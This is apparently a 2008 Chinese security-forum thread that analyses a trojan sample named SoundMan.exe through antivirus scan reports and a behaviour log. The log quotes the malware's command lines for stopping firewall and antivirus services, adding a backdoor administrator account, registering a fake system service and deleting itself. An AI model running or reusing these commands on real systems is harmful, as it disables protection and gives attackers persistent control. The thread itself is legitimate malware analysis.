前面两次发的都不是毒，这次可是经过检测的

byxxdrls

前两次发的都不是毒，第二次居然让病毒作者给耍了！

这一次发的可是SoundMan.exe。看属性：产品是“工程1”，公司是“1”。看来作者挺会偷懒的。

VirSCAN.org Scanned Report :
Scanned time   : 2008/01/24 14:20:53 (CST)
Scanner results: 23%的杀软(8/35)报告发现病毒
File Name      : SoundMan.exe
File Size      : 110592 byte
File Type      : MS-DOS executable (EXE), OS/2 or MS Windows
MD5            : 4d5412075a332cbef1b7b75fb0a2a217
SHA1           : 97abd442d624df222299818e3a045c5676aa217f
Online report  : http://virscan.org/report/fd3daa72c49ec2c7fdf0a5f7ddb081c5.html
Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
a-squared      3.0.0.126       2008.01.23        2008-01-23  5.21   -
安博士V3       2008.01.23.11   2008.01.23        2008-01-23  2.16   -
AntiVir        7.6.0.48        7.0.2.36          2008-01-23  6.07   HEUR/Malware
Arcavir        1.0.4           200801231647      2008-01-23  3.61   Riskware.Nettool.Portscan.I
AVAST          1.0.8           080123-2          2008-01-23  9.31   Win32:VB-GDM [Trj]
AVG            7.5.51.442      269.19.9/1239     2008-01-23  5.56   VB.CJG
BitDefender    7.60825.976781  7.17101           2008-01-24  9.96   -
CA (VET)       9.0.0.143       31.3.5481         2008-01-24  12.12  -
ClamAV         0.92            5541              2008-01-24  0.07   -
Comodo         2.11            2.0.0.413         2008-01-23  1.55   -
CP Secure      1.1.0.695       2008.01.23        2008-01-23  11.86  -
Dr.WEB         4.44.0.9170     2008.01.23        2008-01-23  5.56   -
ewido          4.0.0.2         2008.01.23        2008-01-23  2.07   -
F-PROT         4.4.1.52        20080123          2008-01-23  3.91   -
F-SECURE       5.51.6100       2008.01.23.02     2008-01-23  7.28   -
飞塔           2.81-3.11       8.665             2008-01-24  2.25   -
ViRobot        20080123        2008.01.23        2008-01-23  0.98   -
IKARUS         T3.1.01.15      2008.01.24.70192  2008-01-24  1.87   -
江民杀毒       10.00.650       2008.01.23        2008-01-23  1.33   -
卡巴斯基       5.5.10          2008.01.24        2008-01-24  18.18  -
金山毒霸       2007.6.20.249   2008.1.24         2008-01-24  1.24   Win32.Troj.Unknown.a.110592
迈克菲         5.2.00          5214              2008-01-23  4.51   W32/Generic.worm!p2p
MKS_VIR        2.01            2008.01.24        2008-01-24  8.74   -
NOD32          2.70.10         2818              2008-01-23  0.18   probably unknown NewHeur_PE virus
NORMAN         5.91.10         5.90              2008-01-23  25.14  -
熊猫卫士       9.04.03.0001    2008.01.23        2008-01-23  3.34   -
趋势           8.500-1001      4.960.02          2008-01-23  0.10   -
Prevx          V2              20080124          2008-01-24  4.65   TROJAN.DOWNLOADER.GEN
QuickHeal      9.00            2008.01.22        2008-01-22  3.04   -
瑞星           19.0            20.28.02.00       2008-01-21  2.27   -
赛门铁克       1.3.0.24        20080123.023      2008-01-23  0.25   -
nProtect       2008-01-23.00   1146979           2008-01-23  10.36  -
The Hacker     6.2.9           v00196            2008-01-23  2.19   -
VBA32          3.12.2.5        20080123.0512     2008-01-23  6.80   -
VirusBuster    4.3.19:9        9.120.7/11.0      2008-01-23  5.64   -

[ 本帖最后由 byxxdrls 于 2008-1-24 22:18 编辑 ]

冷冷

【pass】

文件已被破壞了， 但是它始终是病毒呢！ ！等了好久它才運行！！
-------------------------------------------------------------------------------
I:\virus\test/SoundMan.exe: Broken.Executable FOUND
----------- SCAN SUMMARY -----------
Known viruses: 195707
Engine version: 0.92
Scanned directories: 1
Scanned files: 1
Infected files: 1
Data scanned: 0.16 MB
Time: 6.703 sec (0 m 6 s)
                                                                 【因為行為太多了，只列舉重要行為！！】






[MD5: 25C712 8569CA 72E2C6 4D5412 10400C]

[ 本帖最后由 冷_冷 于 2008-1-25 12:02 编辑 ]

PC0amera

卡巴不报.....金山却报了.  

醉一生爱妍

NOD报未知！~~

醉一生爱妍

kill 4 ge

傻猪猪米走鸡

2008-1-24 23:21:46        Real-time file system protection        file        E:\virus\SoundMan\SoundMan.exe        probably unknown NewHeur_PE virus        cleaned by deleting - quarantined        NT AUTHORITY\SYSTEM        Event occurred on a new file created by the application: C:\Program Files\WinRAR\WinRAR.exe.

吟赏烟霞

还行

wangjay1980

SoundMan.exe_ - Trojan.Win32.VB.brt

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

Please quote all when answering.

--
Best regards, Yury Nesmachny
Virus analyst, Kaspersky Lab.
e-mail: newvirus@kaspersky.com
http://www.kaspersky.com/

http://www.kaspersky.com/virusscanner - free online virus scanner.
http://www.kaspersky.com/helpdesk.html - technical support.

醉一生爱妍

卡巴反应速度够快。。。。。。。

深红的雪

SoundMan.exe是母体

2008-01-25 00:08:59    创建文件      操作:允许
进程路径:D:\病毒样本\SoundMan.exe
文件路径:C:\Documents and Settings\stream\Local Settings\Temp\~DF3D95.tmp
触发规则:应用程序规则->病毒测试->*\病毒样本\*

2008-01-25 00:09:03    删除文件      操作:允许
进程路径:D:\病毒样本\SoundMan.exe
文件路径:C:\Documents and Settings\stream\Local Settings\Temp\~DF3D95.tmp
触发规则:应用程序规则->病毒测试->*\病毒样本\*

2008-01-25 00:12:36    运行应用程序      操作:允许(自动创建规则)
进程路径:D:\病毒样本\SoundMan.exe
文件路径:C:\WINDOWS\System32\cacls.exe
命令行:C:\WINDOWS\System32\cmd.exe /e /t /g everyone:F

2008-01-25 00:12:47    运行应用程序      操作:允许
进程路径:D:\病毒样本\SoundMan.exe
文件路径:C:\WINDOWS\System32\cmd.exe
命令行:/c net stop wscsvc&net stop sharedaccess&sc config sharedaccess start= disabled&sc config wscsvc start= disabled&net stop KPfwSvc&net stop KWatchsvc&net stop McShield&net stop "Norton AntiVirus Server"
触发规则:应用程序规则->病毒测试->*\病毒样本\*

2008-01-25 00:12:47    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\cmd.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:stop wscsvc
触发规则:黑名单->加强保护模式->%windir%\system32\net*.exe

2008-01-25 00:12:47    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\cmd.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:stop sharedaccess
触发规则:黑名单->加强保护模式->%windir%\system32\net*.exe

2008-01-25 00:12:47    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\cmd.exe
文件路径:C:\WINDOWS\system32\sc.exe
命令行:config sharedaccess start= disabled
触发规则:黑名单->加强保护模式->%WinDir%\system32\sc.exe

2008-01-25 00:12:47    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\cmd.exe
文件路径:C:\WINDOWS\system32\sc.exe
命令行:config wscsvc start= disabled
触发规则:黑名单->加强保护模式->%WinDir%\system32\sc.exe

2008-01-25 00:12:47    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\cmd.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:stop KPfwSvc
触发规则:黑名单->加强保护模式->%windir%\system32\net*.exe

2008-01-25 00:12:47    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\cmd.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:stop KWatchsvc
触发规则:黑名单->加强保护模式->%windir%\system32\net*.exe

2008-01-25 00:12:47    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\cmd.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:stop McShield
触发规则:黑名单->加强保护模式->%windir%\system32\net*.exe

2008-01-25 00:12:47    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\cmd.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:stop "Norton AntiVirus Server"
触发规则:黑名单->加强保护模式->%windir%\system32\net*.exe

2008-01-25 00:12:54    修改文件      操作:允许
进程路径:C:\WINDOWS\System32\cacls.exe
文件路径:C:\WINDOWS\System32\cmd.exe
触发规则:应用程序规则->病毒测试->%WinDir%\*->*.exe

2008-01-25 00:13:39    创建文件      操作:允许
进程路径:D:\病毒样本\SoundMan.exe
文件路径:C:\Documents and Settings\stream\Local Settings\Temporary Internet Files\Content.IE5\FYAHU4QZ\gx[1].txt
触发规则:应用程序规则->病毒测试->*\病毒样本\*

2008-01-25 00:13:44    创建文件      操作:允许
进程路径:D:\病毒样本\SoundMan.exe
文件路径:C:\WINDOWS\System32\tfp.exe
触发规则:应用程序规则->病毒测试->*\病毒样本\*

2008-01-25 00:13:44    修改文件      操作:允许
进程路径:D:\病毒样本\SoundMan.exe
文件路径:C:\WINDOWS\System32\tfp.exe
触发规则:应用程序规则->病毒测试->*\病毒样本\*

2008-01-25 00:13:53    运行应用程序      操作:允许
进程路径:D:\病毒样本\SoundMan.exe
文件路径:C:\WINDOWS\System32\tfp.exe
触发规则:应用程序规则->病毒测试->*\病毒样本\*

2008-01-25 00:13:59    创建文件      操作:允许
进程路径:C:\WINDOWS\System32\tfp.exe
文件路径:C:\WINDOWS\System32\crrrr.exe
触发规则:应用程序规则->病毒测试->%WinDir%\*->*.exe

2008-01-25 00:14:02    修改文件      操作:允许
进程路径:C:\WINDOWS\System32\tfp.exe
文件路径:C:\WINDOWS\System32\crrrr.exe
触发规则:应用程序规则->病毒测试->%WinDir%\*->*.exe

2008-01-25 00:14:13    运行应用程序      操作:允许
进程路径:C:\WINDOWS\System32\tfp.exe
文件路径:C:\WINDOWS\System32\crrrr.exe
触发规则:所有程序规则->*

2008-01-25 00:14:13    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\tfp.exe
文件路径:C:\WINDOWS\System32\cmd.exe
命令行:/c echo ping 127.1 -n 4 >nul 2>nul >"C:\Program Files\sys.bat" &  echo del "C:\WINDOWS\System32\tfp.exe" >>"C:\Program Files\sys.bat" & echo del "C:\Program Files\sys.bat">>"C:\Program Files\sys.bat" & "C:\Program Files\sys.bat"
触发规则:所有程序规则->禁止未授权程序启动的文件->%windir%\system32\cmd.exe

2008-01-25 00:14:16    删除文件      操作:允许
进程路径:D:\病毒样本\SoundMan.exe
文件路径:C:\Documents and Settings\stream\Local Settings\Temp\~DFE95E.tmp
触发规则:应用程序规则->病毒测试->*\病毒样本\*

2008-01-25 00:14:18    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\WINDOWS\System32\cacls.exe
命令行:C:\WINDOWS\System32\cmd.exe /e /t /g everyone:F
触发规则:黑名单->加强保护模式->%WinDir%\system32\cacls.exe

2008-01-25 00:14:18    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\WINDOWS\System32\cmd.exe
命令行:/c net stop wscsvc&net stop sharedaccess&sc config sharedaccess start= disabled&sc config wscsvc start= disabled&net stop KPfwSvc&net stop KWatchsvc&net stop McShield&net stop "Norton AntiVirus Server"
触发规则:所有程序规则->禁止未授权程序启动的文件->%windir%\system32\cmd.exe

2008-01-25 00:14:27    创建文件      操作:允许
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\WINDOWS\System32\SoundMan.exe
触发规则:应用程序规则->病毒测试->%WinDir%\*->*.exe

2008-01-25 00:14:30    创建文件      操作:允许
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\WINDOWS\System32\ineters.exe
触发规则:应用程序规则->病毒测试->%WinDir%\*->*.exe

2008-01-25 00:14:30    创建文件      操作:阻止
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\WINDOWS\System32\tthh13.ini
触发规则:所有程序规则->禁止非信任程序访问WINDOWS文件夹->%WinDir%\*

2008-01-25 00:14:32    修改文件      操作:允许
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\WINDOWS\System32\SoundMan.exe
触发规则:应用程序规则->病毒测试->%WinDir%\*->*.exe

2008-01-25 00:14:34    修改文件      操作:允许
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\WINDOWS\System32\ineters.exe
触发规则:应用程序规则->病毒测试->%WinDir%\*->*.exe

2008-01-25 00:14:34    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\WINDOWS\System32\cmd.exe
命令行:/c net user new1 12369 /add&net user new1 12369&net user new1 /active:yes&net localgroup administrators new1 /add
触发规则:所有程序规则->禁止未授权程序启动的文件->%windir%\system32\cmd.exe

2008-01-25 00:14:34    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\WINDOWS\System32\cmd.exe
命令行:/c echo [Version]>%windir%\1.inf&echo Signature="$WINDOWS NT$">>%windir%\1.inf&echo [DefaultInstall.Services]>>%windir%\1.inf&echo AddService=helpsvc,,My_AddService_Name>>%windir%\1.inf&echo [My_AddService_Name]>>%windir%\1.inf&echo DisplayName=Help and Support>>%windir%\1.inf&echo Description=启用在此计算机上运行帮助和支持中心。如果停止服务，帮助和支持中心将不可用。如果禁用服务，任何直接依赖于此服务的服务将无法启动。>>%windir%\1.inf&echo ServiceType=0x10>>%windir%\1.inf&echo StartType=2 >>%windir%\1.inf&echo ServiceBinary=%11%\ineters.exe>>%windir%\1.inf&echo ErrorControl=0 >>%windir%\1.inf&rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %windir%\1.inf&del %windir%\1.inf&exit
触发规则:所有程序规则->禁止未授权程序启动的文件->%windir%\system32\cmd.exe（假装系统服务）

2008-01-25 00:14:46    运行应用程序      操作:允许
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\WINDOWS\System32\SoundMan.exe
触发规则:所有程序规则->*

2008-01-25 00:14:57    修改文件      操作:允许
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\Documents and Settings\stream\Local Settings\Temporary Internet Files\Content.IE5\index.dat
触发规则:应用程序规则->病毒测试->%WinDir%\*->*.dat

2008-01-25 00:15:00    修改文件      操作:允许
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\Documents and Settings\stream\Local Settings\Temporary Internet Files\Content.IE5\index.dat
触发规则:应用程序规则->病毒测试->%WinDir%\*->*.dat

2008-01-25 00:15:02    修改文件      操作:允许
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\Documents and Settings\stream\Cookies\index.dat
触发规则:应用程序规则->病毒测试->%WinDir%\*->*.dat

2008-01-25 00:15:05    修改文件      操作:允许
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\Documents and Settings\stream\Cookies\index.dat
触发规则:应用程序规则->病毒测试->%WinDir%\*->*.dat

2008-01-25 00:15:17    修改文件      操作:允许
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\Documents and Settings\stream\Local Settings\History\History.IE5\index.dat
触发规则:应用程序规则->病毒测试->%WinDir%\*->*.dat

2008-01-25 00:15:20    修改文件      操作:允许
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\Documents and Settings\stream\Local Settings\History\History.IE5\index.dat
触发规则:应用程序规则->病毒测试->%WinDir%\*->*.dat

2008-01-25 00:15:23    修改系统时间      操作:阻止
进程路径:C:\WINDOWS\System32\crrrr.exe
触发规则:应用程序规则->病毒测试->%WinDir%\*.exe

2008-01-25 00:15:23    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\WINDOWS\System32\cmd.exe
命令行:/c echo ping 127.1 -n 5 >nul 2>nul >1.bat&echo del crrrr.exe>>1.bat&echo del 1.bat>>1.bat&1.bat
触发规则:所有程序规则->禁止未授权程序启动的文件->%windir%\system32\cmd.exe